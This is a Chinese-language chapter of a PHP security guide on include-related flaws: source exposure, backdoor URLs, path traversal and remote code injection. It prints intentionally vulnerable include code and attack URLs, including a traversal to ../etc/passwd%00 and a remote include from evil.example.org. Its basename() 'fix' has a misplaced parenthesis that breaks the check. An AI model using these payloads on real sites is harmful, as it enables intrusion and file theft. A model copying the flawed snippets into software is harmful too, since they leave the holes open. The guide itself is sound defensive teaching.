第五章 包含-php安全基础
随着PHP项目的增大,软件设计与组织在代码的可维护性上起着越来越重要的作用。尽管对于什么是最好的编程方式众说纷纭(关于面向对象优点的争论常常发生),但基本上每个开发者会理解和欣赏模块化设计的价值。
本章说明了使用包含时会面临的安全问题。脚本中include或require的文件把你的应用分成了逻辑上分离的两部分。我还会着重强调和纠正一些常见的误解,特别是有关于如何编程的问题。
小提示
当使用include和require时,应该使用include_once与require_once来包含。
5.1. 源码暴露
关于包含的一个重要问题是源代码的暴露。产生这个问题主要原因是下面的常见情况:
l 对包含文件使用.inc的扩展名
l 包含文件保存在网站主目录下
l Apache未设定.inc文件的类型
l Apache的默认文件类型是text/plain
上面情况造成了可以通过URL直接访问包含文件。更糟的是,它们会被作为普通文本处理而不会被PHP所解析,这样你的源代码就会显示在用户的浏览器上(见图5-1)。
图 5-1. 源代码在服务器中的暴露
避免这种情况很容易。只能重组你的应用,把所有的包含文件放在网站主目录之外就可以了,最好的方法是只把需要公开发布的文件放置在网站主目录下。
虽然这听起来有些疯狂,很多情形下能导致源码的暴露。我曾经看到过Apache的配置文件被误写(并且在下次启动前未发现),没有经验的系统管理员升级了Apache但忘了加入PHP支持,还有一大堆情形能导致源码暴露。
通过在网站主目录外保存尽可能多的PHP代码,你可以防止源代码的暴露。至少,把所有的包含文件保存在网站主目录外是一个最好的办法。
一些方法能限制源码暴露的可能性但不能从根本上解决这个问题。这些方法包括在Apache中配置.inc文件与PHP文件一样处理,包含文件使用.php后缀,配置Apache不能接受对.inc文件的直接请求:
<Files ~ “\.inc$”>
Order allow,deny
Deny from all
</Files>
虽然这些方法有其优点,但没有一个方法在安全性上能与把包含文件放在网站主目录之外的做法相比。不要依赖于上面的方法对你的应用进行保护,至多把它们当做深度防范来对待。
5.2. 后门URL
后门URL是指虽然无需直接调用的资源能直接通过URL访问。例如,下面WEB应用可能向登入用户显示敏感信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php $authenticated = FALSE; $authenticated = check_auth(); /* ... */ if ($authenticated) { include './sensitive.php'; } ?> |
由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件。这是由于在网站主目录下的所有文件都有一个相应的URL地址。在某些情况下,这些脚本可能执行一个重要的操作,这就增大了风险。
为了防止后门URL,你需要确认把所有包含文件保存在网站主目录以外。所有保存在网站主目录下的文件都是必须要通过URL直接访问的。
5.3. 文件名操纵
在很多情形下会使用动态包含,此时目录名或文件名中的部分会保存在一个变量中。例如,你可以缓存你的部分动态页来降低你的数据库服务器的负担。
1 2 3 4 5 |
<?php include "/cache/{$_GET['username']}.html"; ?> |
为了让这个漏洞更明显,示例中使用了$_GET。如果你使用了受污染数据时,这个漏洞同样存在。使用$_GET[‘username’]是一个极端的例子,通过它可以把问题看得更清楚。
虽然上面的流程有其优点,但它同时为攻击者提供了一个可以自由选择缓存页的良机。例如,一个用户可以方便地通过编辑URL中的username的值来察看其他用户的缓存文件。事实上,攻击者可以通过简单的更改username的值为相应的文件名(不加扩展名)来察看/cache目录下的所有扩展名为.html的文件。
http://example.org/index.php?username=filename
尽管该程序限制了攻击者所操作的目录和文件名,但变更文件名并不是唯一的手段。攻击者可以创造性地达到在文件系统中进行跨越的目的,而去察看其他目录中的.html文件以发现敏感信息。这是因为可以在字串使用父目录的方式进行目录跨越:
http://example.org/index.php?username=../admin/users
上面URL的运行结果如下:
1 2 3 4 5 |
<?php include "/cache/../admin/users.html"; ?> |
此时,..意味着/cache的父目录,也就是根目录。这样上面的例子就等价于:
1 2 3 4 5 |
<?php include "/admin/users.html"; ?> |
由于所有的文件都会在文件系统的根目录下,该流程就允许了一个攻击者能访问你服务器上所有的.html文件。
在某些平台上,攻击者还可以使用一个NULL来终止字符串,例如:
http://example.org/index.php?username=../etc/passwd%00
这样就成功地绕开了.html文件扩展名的限制。
当然,一味地去通过猜测攻击者的所有恶意攻击手段是不可能的,无论你在文件上加上多少控制,也不能排除风险。重要的是在动态包含时永远不要使用被污染数据。攻击手段不是一成不变的,但漏洞不会变化。只要通过过滤数据即可修复这个漏洞(见第一章):
1 2 3 4 5 |
<?php $clean = array(); /* $_GET['filename'] is filtered and stored in $clean['filename']. */ include "/path/to/{$clean['filename']}"; ?> |
如果你确认参数中只有文件名部分而没有路径信息时,另一个有效的技巧是通过使用basename( )来进行数据的过滤:
1 2 3 4 5 6 7 8 |
<?php $clean = array(); if (basename($_GET['filename'] == $_GET['filename']) { $clean['filename'] = $_GET['filename']; } include "/path/to/{$clean['filename']}"; ?> |
如果你允许有路径信息但想要在检测前把它化简,你可以使用realpath()函数:
1 2 3 |
<?php $filename = realpath("/path/to/{$_GET['filename']}"); ?> |
通过上面程序处理得到的结果($filename)可以被用来确认是否位于/path/to目录下:
1 2 3 4 5 6 7 |
<?php $pathinfo = pathinfo($filename); if ($pathinfo['dirname'] == '/path/to') { /* $filename is within /path/to */. } ?> |
如果检测不通过,你就应该把这个请求记录到攻击日志以备后查。这个在你把这个流程作为深度防范措施时特别重要,因为你要确定其它的安全手段失效的原因。
5.4. 代码注入
一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:
1 2 3 |
<?php include "{$_GET['path']}/header.inc"; ?> |
在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):
1 2 3 |
<?php include 'http://www.google.com/'; ?> |
include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被解析并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。
想象一下path的值指向了下面的攻击者所控制的资源:
http://example.org/index.php?pat … e.org%2Fevil.inc%3F
在上例中,path的值是URL编码过的,原值如下:
http://evil.example.org/evil.inc?
这就导致了include语句包含并执行了攻击者所选定的脚本(evil.inc),同时原来的文件名/header.inc会被认为是一个请求串:
1 2 3 |
<?php include "http://evil.example.org/evil.inc?/header.inc"; ?> |
这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地,在受攻击网站的具体文件名被屏蔽的情况下,他只要保证evil.inc中输出合法的他想要执行的代码就行了。
这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是,只要在include和require语句前对数据进行过滤即可防止这种情况的发生:
1 2 3 4 5 |
<?php $clean = array(); /* $_GET['path'] is filtered and stored in $clean['path']. */ include "{$clean['path']}/header.inc"; ?> |